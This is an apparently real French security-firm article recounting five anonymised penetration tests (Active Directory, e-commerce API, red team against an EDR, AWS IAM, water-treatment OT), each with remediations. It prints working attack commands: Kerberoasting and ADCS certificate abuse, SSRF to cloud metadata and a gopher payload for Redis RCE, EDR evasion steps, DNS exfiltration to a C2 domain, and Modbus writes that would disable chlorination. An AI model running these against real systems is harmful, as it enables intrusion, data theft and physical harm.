Retours d’Expérience Pentest : 5 Missions Terrain Anonymisées

Dans le monde du pentest et de la sécurité offensive, rien ne remplace l’expérience terrain. Les certifications, les labs et les CTF constituent d’excellentes bases d’apprentissage, mais la réalité des missions client est souvent plus complexe, plus imprévisible et infiniment plus riche en enseignements. Cet article vous plonge au cœur de 5 missions de pentest réelles et anonymisées, menées par notre équipe entre 2024 et 2025, couvrant des domaines variés : Active Directory, applications web e-commerce, Red Team contre EDR, cloud AWS et OT/ICS industriel.

Chaque retour d’expérience pentest est structuré de manière identique pour faciliter la comparaison : contexte client, périmètre de la mission, méthodologie appliquée, chronologie détaillée de l’attaque, découvertes classées par sévérité, remédiations recommandées et effectivement appliquées, et enfin les leçons apprises tant pour l’attaquant que pour le défenseur. Les noms de clients, adresses IP, noms de domaine et toute information permettant l’identification ont été soigneusement anonymisés conformément à nos engagements de confidentialité.

Introduction : Pourquoi partager des retours d’expérience pentest ?

Le partage de retours d’expérience pentest (souvent abrégés « REX ») constitue un pilier fondamental de la progression collective en cybersécurité. Contrairement aux write-ups de CTF qui opèrent dans des environnements contrôlés, les missions terrain confrontent les pentesters à des infrastructures vivantes, des contraintes opérationnelles réelles et des architectures souvent bien plus complexes que les scénarios de laboratoire.

Les bénéfices de ce partage sont multiples. Pour les pentesters juniors, ces récits fournissent des exemples concrets de méthodologies appliquées en conditions réelles. Pour les pentesters seniors, ils offrent des perspectives différentes et des techniques qu’ils n’auraient peut-être pas envisagées. Pour les défenseurs (SOC analysts, architectes sécurité, RSSI), ils constituent une source précieuse d’intelligence sur les vecteurs d’attaque réellement exploités et les lacunes de sécurité les plus fréquentes. Enfin, pour les décideurs, ils justifient les investissements en sécurité en illustrant concrètement les risques.

Bien entendu, le partage d’expériences en pentest est encadré par des obligations légales et contractuelles strictes. Chaque mission présentée ici a été anonymisée selon notre protocole interne : les noms de clients sont remplacés par des pseudonymes sectoriels (« IndustriaCorp », « ShopSecure », etc.), les adresses IP sont modifiées, les noms de domaine fictifs, et les détails trop spécifiques qui permettraient une identification sont altérés ou omis. Les clients concernés ont donné leur accord pour cette publication anonymisée.

Méthodologie commune et cadre de référence

L’ensemble de nos missions de pentest s’appuie sur des référentiels reconnus, adaptés au contexte de chaque engagement :

• PTES (Penetration Testing Execution Standard) : cadre global structurant les phases de la mission, de la pré-engagement à la rédaction du rapport.
• OWASP Testing Guide v4.2 : référentiel pour les tests d’applications web, complété par l’OWASP ASVS pour les exigences de vérification.
• MITRE ATT&CK Enterprise : framework de classification des techniques d’attaque, utilisé pour le mapping systématique de nos findings.
• CVSS v3.1 / v4.0 : système de scoring des vulnérabilités pour la classification par sévérité (Critical, High, Medium, Low, Info).
• PASSI (ANSSI) : cadre de prestation d’audit de sécurité des systèmes d’information, applicable au contexte réglementaire français.

Chaque mission suit un cycle en 7 phases : 1) Cadrage et RoE (Rules of Engagement), 2) Reconnaissance passive et active, 3) Énumération et cartographie, 4) Identification des vulnérabilités, 5) Exploitation et post-exploitation, 6) Pivoting et mouvement latéral, 7) Rapport et restitution. La durée de chaque phase varie selon le type de mission et le périmètre défini.

Mission 1 : Pentest AD Interne — Domain Admin en 4 heures

1.1 Contexte de la mission

IndustriaCorp avait récemment subi un incident de sécurité mineur (phishing réussi avec compromission d’un compte utilisateur) et souhaitait évaluer le risque réel d’une escalade de privilèges depuis un compte standard vers les droits Domain Admin. L’infrastructure reposait sur un domaine Active Directory Windows Server 2019, avec environ 3 200 objets utilisateurs, 450 groupes et 180 serveurs. Un service Active Directory Certificate Services (ADCS) était déployé pour la gestion des certificats internes.

1.2 Phase de reconnaissance et énumération

La première étape a consisté à cartographier l’environnement AD depuis notre poste utilisateur standard. Nous avons utilisé BloodHound via son collecteur SharpHound pour mapper les relations de confiance, les chemins d’escalade et les ACL du domaine.

# Collecte BloodHound depuis le poste utilisateur
.\SharpHound.exe --CollectionMethods All --Domain industria.local --ExcludeDomainControllers
# Duree : ~12 minutes pour 3200 utilisateurs

# Enumeration des SPNs pour identifier les comptes Kerberoastables
Import-Module .\PowerView.ps1
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, memberof | Format-Table -AutoSize

# Resultat : 47 comptes avec SPN definis
# Dont 3 comptes membres de groupes privilegies

L’analyse BloodHound a révélé plusieurs chemins d’escalade potentiels. Le plus prometteur impliquait un compte de service svc-sqlprod membre du groupe Server Operators, lui-même ayant des droits GenericAll sur le groupe Domain Admins via une délégation héritée. Ce compte possédait un SPN (Service Principal Name) défini, le rendant vulnérable à une attaque Kerberoasting.

# Enumeration des templates de certificats ADCS
.\Certify.exe find /vulnerable

# Resultat critique trouve :
# Template Name : UserAuthCert
# Enrollment Rights : Domain Users (!)
# Client Authentication : True
# ENROLLEE_SUPPLIES_SUBJECT : True  => ESC1 !
# CA Name : INDUSTRIA-CA01

En parallèle, l’outil Certify a identifié un template de certificat ADCS vulnérable à l’attaque ESC1 (Escalation Scenario 1). Le template UserAuthCert autorisait n’importe quel utilisateur du domaine (Domain Users) à demander un certificat avec l’option ENROLLEE_SUPPLIES_SUBJECT activée, permettant de spécifier un SAN (Subject Alternative Name) arbitraire — y compris celui d’un Domain Admin. Pour plus de détails sur ces techniques, consultez notre article sur le Kerberoasting et AS-REP Roasting.

1.3 Exploitation : Kerberoasting du compte de service

# Kerberoasting avec Rubeus
.\Rubeus.exe kerberoast /user:svc-sqlprod /outfile:tgs_svc-sqlprod.kirbi /format:hashcat

# Hash extrait (format hashcat type 13100) :
# $krb5tgs$23$*svc-sqlprod$INDUSTRIA.LOCAL$MSSQLSvc/sql01.industria.local:1433*$a8e3...

# Cracking avec hashcat sur GPU (RTX 4090)
hashcat -m 13100 tgs_svc-sqlprod.kirbi /opt/wordlists/rockyou2024.txt -r /opt/rules/best64.rule
# Resultat : mot de passe cracke en 23 minutes => "SqlPr0d2023!"

1.4 Exploitation : ADCS ESC1 — Le chemin direct vers Domain Admin

# Demande de certificat avec SAN = administrateur du domaine via Certipy
certipy req -u 'j.dupont@industria.local' -p 'Welcome2024!' \
  -ca 'INDUSTRIA-CA01' -template 'UserAuthCert' \
  -upn 'administrateur@industria.local' -dc-ip 10.10.1.10

# Certificat obtenu : administrateur.pfx

# Authentification via le certificat (PKINIT)
certipy auth -pfx administrateur.pfx -dc-ip 10.10.1.10

# Resultat : TGT obtenu pour le compte Administrateur
# NT Hash recupere : aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99

# Validation de l'acces Domain Admin via CrackMapExec
crackmapexec smb 10.10.1.10 -u 'Administrateur' -H '5f4dcc3b5aa765d61d8327deb882cf99' --shares

# SMB  10.10.1.10  445  DC01  [*] Windows Server 2019 Build 17763 x64
# SMB  10.10.1.10  445  DC01  [+] INDUSTRIA\Administrateur (Pwn3d!)
# SMB  10.10.1.10  445  DC01  Enumerated shares: ADMIN$, C$, IPC$, NETLOGON, SYSVOL

Temps total depuis le début de la mission : 3 heures 47 minutes. Deux chemins indépendants vers Domain Admin ont été identifiés et exploités avec succès. La kill chain complète selon MITRE ATT&CK : Initial Access (T1078) → Discovery (T1087) → Credential Access (T1558.003 — Kerberoasting) + Credential Access (T1649 — Steal or Forge Authentication Certificates) → Privilege Escalation → Domain Admin.

1.5 Synthèse des findings

1.6 Remédiations appliquées

Suite à la restitution de la mission, IndustriaCorp a mis en œuvre les actions correctives suivantes dans un délai de 6 semaines :

1. ADCS ESC1 (J+2) : Suppression immédiate de l’option ENROLLEE_SUPPLIES_SUBJECT sur le template vulnérable et restriction des droits d’enrollment aux groupes légitimes.
2. Kerberoasting (J+5) : Migration des comptes de service vers des Group Managed Service Accounts (gMSA) avec rotation automatique des mots de passe (120 caractères, rotation 30 jours).
3. ACL (J+14) : Audit et nettoyage des ACL Active Directory avec suppression des délégations excessives identifiées par BloodHound.
4. SMB Signing (J+21) : Activation du SMB Signing obligatoire via GPO sur l’ensemble des serveurs et postes de travail.
5. LLMNR/NBT-NS (J+21) : Désactivation via GPO de LLMNR et NBT-NS sur l’ensemble du parc.
6. Monitoring (J+30) : Déploiement de règles de détection dans le SIEM pour les événements Kerberoasting (Event ID 4769 avec encryption type 0x17) et les demandes de certificats suspectes.

1.7 Leçons apprises

Pour l’équipe d’attaque, cette mission a confirmé que la combinaison Kerberoasting + ADCS constitue actuellement le vecteur d’escalade le plus efficace en environnement AD. Le temps pour atteindre Domain Admin (moins de 4 heures) est représentatif de ce que nous observons sur la majorité des missions AD internes — seules les organisations ayant spécifiquement durci leur ADCS et migré vers des gMSA résistent significativement plus longtemps.

Pour le défenseur, la leçon principale est que la sécurité AD ne se limite pas aux GPO et aux mots de passe. Les composants souvent négligés (ADCS, ACL, SPNs) représentent les vecteurs d’attaque les plus dangereux. Un audit AD complet doit inclure une revue ADCS systématique, un inventaire des SPNs, et une analyse des chemins d’attaque via BloodHound.

Mission 2 : Pentest Web E-Commerce — IDOR + SSRF → RCE

2.1 Contexte de la mission

ShopSecure opérait une plateforme e-commerce traitant environ 15 000 commandes par jour, avec un chiffre d’affaires annuel supérieur à 50M€. La plateforme avait été développée en interne par une équipe de 12 développeurs sur 3 ans, avec plusieurs refontes successives de l’API. L’application était hébergée sur AWS ECS (Elastic Container Service) avec un backend Node.js et une base PostgreSQL managée (RDS). Un dernier audit datait de 18 mois et n’avait révélé que des findings de sévérité moyenne.

2.2 Reconnaissance et cartographie de l’API

# Decouverte d'endpoints avec ffuf
ffuf -u https://api.shopsecure-anon.com/api/v2/FUZZ \
  -w /opt/wordlists/api-endpoints.txt \
  -H "Authorization: Bearer $TOKEN_CLIENT" \
  -mc 200,201,403 -o ffuf_results.json

# Resultats notables :
# /api/v2/orders/{id}          => 200 (attendu)
# /api/v2/users/{id}/profile   => 200 (attendu)
# /api/v2/admin/export         => 403 (interessant)
# /api/v2/internal/health      => 200 (non documente !)
# /api/v2/internal/webhook     => 200 (non documente !)
# /api/v2/debug/generate-pdf   => 200 (non documente !)

L’endpoint /api/v2/debug/generate-pdf a immédiatement attiré notre attention. Il acceptait un paramètre url pour générer un PDF à partir d’une URL — un comportement classique de Server-Side Request Forgery (SSRF) potentiel.

2.3 Exploitation de l’IDOR sur les commandes

# Test IDOR - acces aux commandes d'autres utilisateurs
curl -s -H "Authorization: Bearer $TOKEN_CLIENT" \
  "https://api.shopsecure-anon.com/api/v2/orders/CMD-2024-789010" \
  | jq '.data | {order_id, customer_name, email, address, items, total}'

# Resultat : acces complet aux donnees d'un autre client !
# {
#   "order_id": "CMD-2024-789010",
#   "customer_name": "Jean M********",
#   "email": "jean.m****@****.fr",
#   "address": "12 rue ********, 75*** Paris",
#   "items": [...],
#   "total": 234.50
# }

# Enumeration automatisee de 100 commandes
for i in $(seq 789000 789100); do
  curl -s -H "Authorization: Bearer $TOKEN_CLIENT" \
    "https://api.shopsecure-anon.com/api/v2/orders/CMD-2024-$i" \
    | jq -r '.data.email // empty'
done | sort -u | wc -l
# Resultat : 87 adresses email uniques recuperees sur 101 tentatives

2.4 Exploitation de la chaîne SSRF → RCE

# Phase 1 : Confirmation du SSRF - acces au metadata service AWS
curl -X POST "https://api.shopsecure-anon.com/api/v2/debug/generate-pdf" \
  -H "Authorization: Bearer $TOKEN_CLIENT" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# Le PDF genere contient le nom du role IAM : "ecs-task-role-shopsecure-prod"

# Phase 2 : Recuperation des credentials IAM temporaires
curl -X POST "https://api.shopsecure-anon.com/api/v2/debug/generate-pdf" \
  -H "Authorization: Bearer $TOKEN_CLIENT" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ecs-task-role-shopsecure-prod"}'
# PDF contient les credentials AWS temporaires (AccessKeyId, SecretAccessKey, Token)

# Phase 3 : SSRF vers le service Redis interne (port 6379)
curl -X POST "https://api.shopsecure-anon.com/api/v2/debug/generate-pdf" \
  -H "Authorization: Bearer $TOKEN_CLIENT" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://redis-cache.internal:6379/"}'
# Confirmation : Redis accessible sans authentification

# Phase 4 : RCE via Redis - exploitation SSRF => Redis => cron
# Construction du payload gopher pour Redis (simplifie)
python3 -c "
import urllib.parse
commands = [
    'CONFIG SET dir /var/spool/cron/crontabs/',
    'CONFIG SET dbfilename node',
    'SAVE'
]
payload = ''
for cmd in commands:
    args = cmd.split()
    payload += f'*{len(args)}\r\n'
    for arg in args:
        payload += f'\${len(arg)}\r\n{arg}\r\n'
print(f'gopher://redis-cache.internal:6379/_{urllib.parse.quote(payload)}')
"
# Envoi via le SSRF
# Resultat : callback recu sur notre serveur => RCE confirme !

2.5 Synthèse des findings

2.6 Remédiations appliquées

1. RCE Chain (J+1, hotfix d’urgence) : Suppression immédiate de l’endpoint /api/v2/debug/generate-pdf. Migration du service de génération PDF vers un microservice isolé avec whitelist d’URLs stricte.
2. IDOR (J+3) : Implémentation d’un contrôle d’autorisation basé sur le user_id du token JWT. Mise en place d’UUIDs v4 en remplacement des identifiants séquentiels.
3. SSRF / IMDSv2 (J+7) : Migration vers IMDSv2 (token obligatoire) sur toutes les instances ECS.
4. Redis (J+7) : Activation de l’authentification Redis (AUTH + TLS) et restriction du security group.
5. Revue de code (J+30) : Audit de code complet des endpoints API avec intégration de tests DAST dans la pipeline CI/CD.

2.7 Leçons apprises

Cette mission a également mis en évidence un problème récurrent : les endpoints de debug laissés en production. L’endpoint avait été créé par un développeur pour tester la génération de factures PDF, puis oublié lors du déploiement en production. L’absence de revue de code systématique a permis à cet endpoint de persister pendant plus de 8 mois.

Mission 3 : Red Team vs EDR — Bypass CrowdStrike Falcon

3.1 Contexte de la mission

FinanceGuard souhaitait tester la résilience de son infrastructure face à une menace avancée (APT-like). Le scope incluait l’ingénierie sociale, la compromission de postes protégés par CrowdStrike Falcon, le mouvement latéral, et l’exfiltration de données du système bancaire central. L’engagement était de type « assumed breach » avec un accès initial via un poste de travail déjà compromis. Pour approfondir les techniques d’évasion EDR, consultez notre article sur les techniques de bypass EDR en 2026.

3.2 Phase de développement : Custom Loader + ETW Patching

La première semaine a été consacrée au développement d’un loader custom capable de contourner les mécanismes de détection de CrowdStrike Falcon. Notre approche reposait sur plusieurs techniques combinées :

Technique 1 : ETW (Event Tracing for Windows) Patching

# Concept de l'ETW Patching (simplifie pour illustration)
# En realite, implemente en C/C++ dans notre loader

# Etape 1 : Resolution de l'adresse de EtwEventWrite dans ntdll.dll
# GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite")

# Etape 2 : Patch de EtwEventWrite avec un simple RET (0xC3)
# L'EDR ne recevra plus les evenements ETW de notre processus
# Note : le loader reel utilise des syscalls directs pour eviter les hooks userland

Technique 2 : Unhooking de ntdll.dll

# Concept d'unhooking ntdll (pseudo-code)
# Le loader reel est implemente en C++ avec des syscalls directs

# 1. Lire ntdll.dll propre depuis le disque (KnownDlls)
# 2. Mapper les sections .text
# 3. Remplacer la section .text hookee en memoire par la version propre
# Resultat : tous les hooks EDR sur ntdll sont supprimes pour notre processus

# Alternative utilisee : syscalls directs via SysWhispers3
# Avantage : pas besoin de toucher a ntdll

Technique 3 : Chargement réflectif avec chiffrement AES-256

# Preparation du payload - chiffrement AES-256 du shellcode
python3 encrypt_payload.py \
  --input beacon_raw.bin \
  --output payload.enc \
  --key-derivation "env:COMPUTERNAME+date" \
  --cipher aes-256-gcm

# Le loader dechiffre le payload uniquement si l'environnement cible correspond
# => empeche l'analyse en sandbox

# Compilation du loader avec obfuscation
# Technique : API hashing + string encryption + control flow flattening
cl.exe /O2 /MT loader.cpp /Fe:update_service.exe /link /SUBSYSTEM:WINDOWS

3.3 Exécution de l’opération Red Team

# Exfiltration DNS - technique utilisee (simplifie)
# Les donnees sont encodees en base32 et envoyees comme sous-domaines DNS
# Le serveur DNS autoritaire reconstitue les donnees

# Outil utilise : dnscat2 modifie avec jitter aleatoire
# Debit : ~500 bytes/seconde (suffisant pour des donnees ciblees)
# Domaine C2 : update-check.legitimate-looking-domain.com

# Exemple de requete DNS generee :
# GEZDGNBVGY3TQOJQ.update-check.legitimate-looking-domain.com

3.4 Synthèse des findings

3.5 Remédiations appliquées

1. SOC (J+5) : Révision des procédures d’escalade SOC — toute alerte de mouvement latéral est désormais traitée en priorité haute, indépendamment du score initial.
2. Segmentation (J+30) : Mise en place d’une micro-segmentation avec des firewalls de nouvelle génération entre le segment IT, le segment serveurs et le segment core banking.
3. CrowdStrike (J+14) : Activation des features avancées : kernel-level ETW monitoring, memory scanning amélioré, politique « block on suspicious » plutôt que « alert ».
4. DNS (J+21) : Déploiement d’une solution de DNS filtering avec détection d’anomalies (requêtes DNS haute entropie, sous-domaines longs, volumes anormaux).
5. MFA (J+45) : Déploiement de MFA (FIDO2/WebAuthn) pour tous les accès administrateurs et systèmes critiques.

3.6 Leçons apprises

Pour l’équipe d’attaque, cette mission a confirmé l’efficacité des techniques de patching mémoire (ETW, AMSI) combinées à l’utilisation de syscalls directs pour contourner les EDR modernes. La clé du succès résidait dans le développement sur mesure : les outils « off-the-shelf » (Mimikatz non modifié, PowerShell Empire standard) sont systématiquement détectés par CrowdStrike. Le développement d’implants custom avec des techniques d’évasion spécifiques à l’EDR ciblé est devenu indispensable pour les engagements Red Team de haut niveau.

Mission 4 : Audit Cloud AWS — IAM Role Chaining + S3 Exfiltration

4.1 Contexte de la mission

CloudFirst opérait une plateforme SaaS de gestion de projets avec environ 15 000 entreprises clientes. L’infrastructure cloud AWS avait grandi organiquement sur 5 ans, avec un héritage de politiques IAM accumulées par les différentes équipes. Un compte IAM avec des droits en lecture seule (SecurityAudit + ViewOnlyAccess) a été fourni comme point de départ. Pour plus de détails, consultez notre article sur l’escalade de privilèges IAM multi-cloud.

4.2 Reconnaissance et cartographie IAM

# Scan initial avec Prowler v4
prowler aws --profile cloudfirst-audit --output-formats json,html \
  --compliance cis_3.0 pci_3.2.1 --severity critical high medium

# Resultat : 847 findings dont 23 critical, 89 high, 234 medium

# Cartographie IAM avec Pacu
python3 pacu.py
# Pacu (cloudfirst-audit:prod) > run iam__enum_users_roles_policies_groups
# [+] 347 users found
# [+] 89 roles found
# [+] 156 policies found (dont 43 custom inline policies)
# [+] 34 groups found

# Analyse des chemins d'escalade avec PMapper
pmapper graph create --profile cloudfirst-audit
pmapper analysis --output-type text
# PMapper a identifie 7 chemins d'escalade vers admin
# Le plus court : 3 hops (role chaining)

# Decouverte du chemin d'escalade IAM critique
# Role de depart : lambda-deploy-staging (assumable depuis le compte staging)
# Hop 1 : lambda-deploy-staging peut assumer cross-account-deploy-role (prod)
# Hop 2 : cross-account-deploy-role a iam:PassRole vers ecs-task-admin-role
# Hop 3 : ecs-task-admin-role a s3:* et rds:* => acces complet aux donnees

aws iam get-role --role-name lambda-deploy-staging --profile cloudfirst-audit \
  | jq '.Role.AssumeRolePolicyDocument'

# Trust policy : permet l'assumption depuis le compte staging ENTIER
# Principal: {"AWS": "arn:aws:iam::111111111111:root"} <= TROP PERMISSIF !

4.3 Exploitation : IAM Role Chaining

# Etape 1 : Assumption du role cross-account depuis staging vers prod
aws sts assume-role \
  --role-arn "arn:aws:iam::222222222222:role/cross-account-deploy-role" \
  --role-session-name "pentest-escalade" \
  --profile cloudfirst-staging-dev

# Credentials temporaires obtenues pour le compte de production
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

# Etape 2 : Utilisation de iam:PassRole pour lancer une tache ECS
aws ecs run-task --cluster prod-main --task-definition data-export:latest \
  --overrides '{"taskRoleArn": "arn:aws:iam::222222222222:role/ecs-task-admin-role"}'

# Etape 3 : Listing des buckets S3 de production
aws s3 ls --recursive s3://cloudfirst-prod-data/ | head -20
# customer-exports/, database-backups/, user-uploads/, api-logs/

4.4 Exploitation : S3 Bucket Exfiltration

# Inventaire des buckets S3 accessibles
aws s3api list-buckets | jq -r '.Buckets[].Name'

# Decouvertes critiques :
# 1. cloudfirst-prod-backups : bucket de backups RDS en clair
# 2. cloudfirst-logs : credentials en clair dans les logs applicatifs
# 3. cloudfirst-staging-public : bucket staging avec ACL "public-read" (!!)

# Verification du bucket public
aws s3api get-bucket-acl --bucket cloudfirst-staging-public
# Grants: AllUsers = READ
# Ce bucket contient des copies de la base de donnees staging
# avec des donnees clients REELLES (la staging utilise des donnees de prod copiees)

# Simulation d'exfiltration (bucket prive, via le role compromis)
aws s3 cp s3://cloudfirst-prod-backups/rds-export-2024-11-15.sql.gz . --dryrun
# Taille : 2.3 GB - contient potentiellement toutes les donnees clients

4.5 Synthèse des findings

4.6 Remédiations appliquées

1. S3 public (J+1, urgence) : Blocage immédiat de l’accès public via S3 Block Public Access au niveau de l’organisation AWS.
2. IAM Role Chaining (J+7) : Révision complète des trust policies IAM. Remplacement des principals :root par des rôles spécifiques. Mise en place de conditions IAM.
3. S3 Encryption (J+14) : Activation du chiffrement SSE-KMS sur tous les buckets contenant des données sensibles.
4. Monitoring (J+14) : Activation de GuardDuty et CloudTrail sur les 3 comptes avec centralisation des logs.
5. Staging data (J+21) : Mise en place d’un processus d’anonymisation des données de production avant copie vers staging.
6. IAM Governance (J+30) : Déploiement de Prowler en CI/CD pour scanner les politiques IAM à chaque modification.

4.7 Leçons apprises

Cette mission a révélé un pattern récurrent dans les environnements cloud qui ont grandi organiquement : l’accumulation de permissions (« permission sprawl »). CloudFirst avait démarré avec 2 développeurs et un seul compte AWS. Cinq ans et 200 employés plus tard, l’infrastructure comptait 347 utilisateurs IAM, 89 rôles et 156 politiques, dont 43 politiques inline non documentées. La dette de sécurité IAM est souvent invisible jusqu’à ce qu’un auditeur (ou un attaquant) prenne le temps de cartographier les chemins d’escalade.

Mission 5 : Évaluation OT/ICS — Modbus + Pivot IT→OT

5.1 Contexte de la mission

AquaControl opérait 3 stations de traitement des eaux desservant une agglomération de 150 000 habitants. Suite aux alertes du CERT-FR concernant les attaques ciblant les infrastructures d’eau, la direction avait décidé de faire évaluer la sécurité de leur infrastructure OT. La contrainte principale était la non-perturbation des processus industriels. Pour en savoir plus, consultez notre article dédié à la sécurité OT/ICS.

5.2 Phase IT : Compromission du réseau corporate

# Scan reseau initial - decouverte des segments
nmap -sn 192.168.0.0/16 --min-rate 1000 -oG scan_networks.gnmap

# Reseaux decouverts :
# 192.168.1.0/24   - Reseau corporate (postes de travail, serveurs)
# 192.168.2.0/24   - Reseau serveurs IT
# 192.168.10.0/24  - Reseau DMZ
# 192.168.100.0/24 - Reseau OT/SCADA (!) <= accessible depuis le VLAN corporate !

# Verification de la connectivite vers le reseau OT
nmap -sT -p 502,102,2222,44818,47808,20000 192.168.100.0/24 --open

# Resultat CRITIQUE :
# 192.168.100.10 - Port 502 ouvert (Modbus TCP) - PLC Station 1
# 192.168.100.11 - Port 502 ouvert (Modbus TCP) - PLC Station 2
# 192.168.100.20 - Port 2222 ouvert - HMI Wonderware
# 192.168.100.50 - Port 3389 ouvert - Serveur SCADA (RDP !)

# AUCUN firewall entre le reseau IT et le reseau OT !

5.3 Phase OT : Analyse des protocoles industriels

# Interrogation Modbus en lecture seule - identification de l'automate
python3 -c "
from pymodbus.client import ModbusTcpClient
client = ModbusTcpClient('192.168.100.10', port=502)
client.connect()

# Lecture des registres d'identification (Holding Registers)
result = client.read_holding_registers(address=0, count=10, slave=1)
if not result.isError():
    print(f'Registres 0-9: {result.registers}')

# Lecture des coils (sorties numeriques) - etat des vannes
result = client.read_coils(address=0, count=20, slave=1)
if not result.isError():
    print(f'Coils 0-19 (vannes): {result.bits[:20]}')

# Lecture des input registers (capteurs) - niveaux, pH, chlore
result = client.read_input_registers(address=0, count=30, slave=1)
if not result.isError():
    print(f'Input Registers (capteurs): {result.registers}')

client.close()
"
# Resultat :
# Registres 0-9: [4532, 712, 85, 23, 450, 0, 0, 0, 0, 0]
# pH: 7.12, Chlore: 0.85 mg/L, Turbidite: 2.3 NTU, Debit: 450 m3/h

# Scan des services sur le serveur SCADA
nmap -sV -p- 192.168.100.50 --min-rate 1000

# PORT     STATE SERVICE       VERSION
# 135/tcp  open  msrpc         Microsoft Windows RPC
# 445/tcp  open  microsoft-ds  Windows Server 2012 R2 (!)
# 3389/tcp open  ms-wrd-rdp    Microsoft Terminal Services
# 5900/tcp open  vnc           VNC (protocol 3.8)
# 8080/tcp open  http          Wonderware InTouch Web

# PROBLEMES IDENTIFIES :
# 1. Windows Server 2012 R2 - fin de support depuis octobre 2023 !
# 2. VNC sans authentification sur le serveur SCADA
# 3. Wonderware InTouch Web accessible sans authentification

# Test VNC sans mot de passe
vncviewer 192.168.100.50:5900
# Connexion reussie ! Acces direct a l'interface HMI SCADA
# Les boutons de commande sont accessibles (nous n'avons PAS clique)

5.4 Démonstration d’impact (en lecture seule)

# Demonstration : un attaquant pourrait modifier les registres Modbus
# NOUS N'AVONS PAS EXECUTE CES COMMANDES - simulation documentaire uniquement

# Exemple theorique - modification du seuil de chloration :
# client.write_register(address=100, value=0, slave=1)
# => Desactivation de la pompe doseuse de chlore
# Consequence : eau non traitee distribuee au reseau

# Exemple theorique - ouverture de toutes les vannes de vidange :
# client.write_coils(address=0, values=[True]*20, slave=1)
# => Vidange des bassins de traitement
# Consequence : arret de la distribution d'eau

# Ces commandes Modbus ne necessitent AUCUNE authentification
# Le protocole Modbus TCP ne dispose pas de mecanisme d'authentification natif

5.5 Synthèse des findings

5.6 Remédiations appliquées

1. Segmentation IT/OT (J+14, priorité absolue) : Déploiement d’un firewall industriel (Fortinet FortiGate Rugged) entre le réseau IT et le réseau OT. Seuls les flux strictement nécessaires sont autorisés (uniquement OPC-UA chiffré, pas de Modbus TCP brut traversant la frontière).
2. DMZ industrielle (J+30) : Création d’une DMZ industrielle hébergeant le serveur historien et le jump host d’administration. L’accès au réseau OT nécessite désormais une authentification MFA et un enregistrement de session.
3. VNC / Auth (J+7) : Activation de l’authentification VNC avec mot de passe fort et restriction d’accès aux seules IP autorisées.
4. SCADA OS (J+60) : Planification de la migration du serveur SCADA vers Windows Server 2022 lors de la prochaine fenêtre de maintenance.
5. IDS OT (J+45) : Déploiement de Nozomi Networks Guardian pour la détection d’anomalies sur le réseau OT.
6. Plan IR OT (J+90) : Développement et test d’un plan de réponse à incident spécifique OT, avec des procédures de basculement en mode manuel.

5.7 Leçons apprises

Cette mission a été la plus « impactante » des 5 en termes de risques réels pour la sécurité publique. La possibilité pour un attaquant de modifier les paramètres de traitement de l’eau aurait pu avoir des conséquences sanitaires directes sur 150 000 personnes. Pour les pentesters souhaitant se spécialiser en OT/ICS, cette mission illustre l’importance d’une approche extrêmement prudente. Contrairement à un test IT où le pire scénario est un crash de serveur, un test OT mal contrôlé peut avoir des conséquences physiques irréversibles.

Tableau comparatif des 5 missions

* Temps vers objectif : temps écoulé entre le début des tests actifs et l’atteinte de l’objectif principal (Domain Admin, RCE, accès core banking, accès données prod, accès PLC).

Tendances observées en 2025

Au-delà des 5 missions détaillées ci-dessus, notre expérience collective sur l’ensemble de nos engagements en 2024-2025 nous permet d’identifier plusieurs tendances transversales :

1. L’ADCS est le nouveau « quick win » en pentest AD

Si le Kerberoasting reste un classique, les vulnérabilités ADCS (ESC1 à ESC13) sont devenues le vecteur d’escalade le plus rapide et le plus fiable en environnement Active Directory. Sur nos 15 dernières missions AD internes, 73% des environnements présentaient au moins une vulnérabilité ADCS exploitable. Les outils Certify et Certipy ont considérablement démocratisé l’exploitation de ces failles.

2. Les chaînes d’exploitation multi-vulnérabilités dominent

Les failles « one-shot » (une seule vulnérabilité menant directement au RCE) sont de plus en plus rares. En revanche, les chaînes de vulnérabilités combinant 2, 3 voire 4 failles de sévérité moyenne pour obtenir un impact critique restent extrêmement efficaces. Le pentest moderne nécessite une capacité à identifier et exploiter ces chaînes.

3. Les EDR sont contournables mais l’effort augmente

Les EDR de dernière génération (CrowdStrike Falcon, Microsoft Defender for Endpoint, SentinelOne) sont significativement plus difficiles à contourner qu’il y a 2-3 ans. Le temps de développement d’un loader custom fonctionnel est passé de quelques heures à plusieurs jours de développement spécifique. Cependant, ils restent contournables par des opérateurs Red Team compétents utilisant des techniques de patching mémoire et des syscalls directs.

4. Le cloud IAM est le nouveau périmètre

Avec la migration massive vers le cloud, les erreurs de configuration IAM sont devenues le premier vecteur de compromission cloud. La complexité intrinsèque d’IAM AWS (plus de 13 000 actions de permissions possibles) rend les erreurs presque inévitables sans outillage et processus dédiés. Les outils d’analyse de chemins d’escalade (PMapper, Cloudsplaining) deviennent indispensables.

5. L’OT/ICS reste le parent pauvre de la cybersécurité

Malgré les alertes répétées des autorités (ANSSI, CISA), la sécurité des environnements OT/ICS accuse un retard considérable par rapport à l’IT. L’absence de segmentation IT/OT, l’utilisation de protocoles sans authentification (Modbus, S7comm) et la présence de systèmes d’exploitation obsolètes sont des constantes observées sur la quasi-totalité de nos missions OT.

FAQ — Retours d’expérience pentest

Conclusion et recommandations transverses

Ces 5 retours d’expérience pentest illustrent la diversité des menaces auxquelles les organisations sont confrontées en 2025. Qu’il s’agisse d’une ETI industrielle, d’un e-commerce, d’une banque, d’un éditeur SaaS ou d’un opérateur d’infrastructure critique, les vecteurs d’attaque diffèrent mais certaines constantes se dégagent.

Recommandations transverses

1. Auditez votre Active Directory au-delà des GPO : Les composants ADCS, les SPNs, les ACL et les chemins d’attaque BloodHound doivent être revus régulièrement. Un audit AD annuel n’est plus suffisant — une surveillance continue avec des outils comme Purple Knight ou PingCastle est nécessaire.
2. Pensez en chaînes, pas en vulnérabilités isolées : Une vulnérabilité SSRF « moyenne » combinée à un service interne non authentifié peut devenir un RCE critique. Les scans automatisés ne détectent pas ces chaînes — seul un pentest manuel par des experts y parvient.
